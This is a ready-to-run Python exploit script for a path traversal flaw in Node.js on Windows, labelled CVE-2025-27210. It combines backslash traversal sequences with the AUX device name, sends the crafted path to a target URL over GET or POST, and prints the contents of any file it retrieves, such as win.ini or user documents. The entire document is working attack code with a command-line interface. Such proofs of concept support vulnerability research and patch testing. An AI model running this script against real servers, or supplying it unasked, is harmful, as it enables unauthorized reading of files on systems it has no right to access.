# Exploit Title : NodeJS 24.x - Path Traversal
# Exploit Author : Abdualhadi khalifa
# CVE : CVE-2025-27210
import argparse
import requests
import urllib.parse
import json
import sys
def exploit_path_traversal_precise(target_url: str, target_file: str, method: str) -> dict:
traverse_sequence = "..\\" * 6
normalized_target_file = target_file.replace("C:", "").lstrip("\\/")
malicious_path = f"{traverse_sequence}AUX\\..\\{normalized_target_file}"
encoded_malicious_path = urllib.parse.quote(malicious_path, safe='')
full_url = f"{target_url}/{encoded_malicious_path}"
response_data = {
"target_url": target_url,
"target_file_attempted": target_file,
"malicious_path_sent_raw": malicious_path,
"malicious_path_sent_encoded": encoded_malicious_path,
"full_request_url": full_url,
"http_method": method,
"success": False,
"response_status_code": None,
"response_content_length": None,
"extracted_content": None,
"error_message": None
}
try:
print(f"[*] Preparing precise Path Traversal exploit...")
print(f"[*] Malicious Path (Encoded): {encoded_malicious_path}")
print(f"[*] Request URL: {full_url}")
if method.upper() == 'GET':
response = requests.get(full_url, timeout=15)
elif method.upper() == 'POST':
response = requests.post(f"{target_url}", params={'filename': encoded_malicious_path}, timeout=15)
else:
raise ValueError("Unsupported HTTP method. Use 'GET' or 'POST'.")
response_data["response_status_code"] = response.status_code
response_data["response_content_length"] = len(response.content)
if response.status_code == 200:
content = response.text
response_data["extracted_content"] = content
if target_file.lower().endswith("win.ini") and "[windows]" in content.lower():
response_data["success"] = True
elif len(content) > 0: # For any other file, just check for non-empty content.
response_data["success"] = True
else:
response_data["error_message"] = "Received 200 OK, but content is empty or unexpected."
else:
response_data["error_message"] = f"Server responded with non-200 status code: {response.status_code}"
except requests.exceptions.Timeout:
response_data["error_message"] = "Request timed out. Server might be slow or unresponsive."
except requests.exceptions.ConnectionError:
response_data["error_message"] = "Connection failed to target. Ensure the Node.js application is running and accessible."
except ValueError as ve:
response_data["error_message"] = str(ve)
except Exception as e:
response_data["error_message"] = f"An unexpected error occurred: {str(e)}"
return response_data
def main():
parser = argparse.ArgumentParser(
prog="CVE-2025-27210_NodeJS_Path_Traversal_Exploiter.py",
description="""
Proof of Concept (PoC) for a precise Path Traversal vulnerability in Node.js on Windows (CVE-2025-27210).
This script leverages how Node.js functions (like path.normalize() or path.join())
might mishandle reserved Windows device file names (e.g., CON, AUX) within Path Traversal
sequences.
""",
formatter_class=argparse.RawTextHelpFormatter
)
parser.add_argument(
"-t", "--target",
type=str,
required=True,
help="Base URL of the vulnerable Node.js application endpoint (e.g., http://localhost:3000/files)."
)
parser.add_argument(
"-f", "--file",
type=str,
default="C:\\Windows\\win.ini",
help="""Absolute path to the target file on the Windows system.
Examples: C:\\Windows\\win.ini, C:\\secret.txt, C:\\Users\\Public\\Documents\\important.docx
"""
)
parser.add_argument(
"-m", "--method",
type=str,
choices=["GET", "POST"],
default="GET",
help="HTTP method for the request ('GET' or 'POST')."
)
args = parser.parse_args()
# --- CLI Output Formatting ---
print("\n" + "="*70)
print(" CVE-2025-27210 Node.js Path Traversal Exploit PoC")
print("="*70)
print(f"[*] Target URL: {args.target}")
print(f"[*] Target File: {args.file}")
print(f"[*] HTTP Method: {args.method}")
print("-"*70 + "\n")
result = exploit_path_traversal_precise(args.target, args.file, args.method)
print("\n" + "-"*70)
print(" Exploit Results")
print("-"*70)
print(f" Request URL: {result['full_request_url']}")
print(f" Malicious Path Sent (Raw): {result['malicious_path_sent_raw']}")
print(f" Malicious Path Sent (Encoded): {result['malicious_path_sent_encoded']}")
print(f" Response Status Code: {result['response_status_code']}")
print(f" Response Content Length: {result['response_content_length']} bytes")
if result["success"]:
print("\n [+] File successfully retrieved! Content below:")
print(" " + "="*66)
print(result["extracted_content"])
print(" " + "="*66)
else:
print("\n [-] File retrieval failed or unexpected content received.")
if result["error_message"]:
print(f" Error: {result['error_message']}")
elif result["extracted_content"]:
print("\n Response content (partial, may indicate server error or unexpected data):")
print(" " + "-"*66)
# Truncate long content if not fully successful
print(result["extracted_content"][:1000] + "..." if len(result["extracted_content"]) > 1000 else result["extracted_content"])
print(" " + "-"*66)
print("\n" + "="*70)
print(" Complete")
print("="*70 + "\n")
if __name__ == "__main__":
main()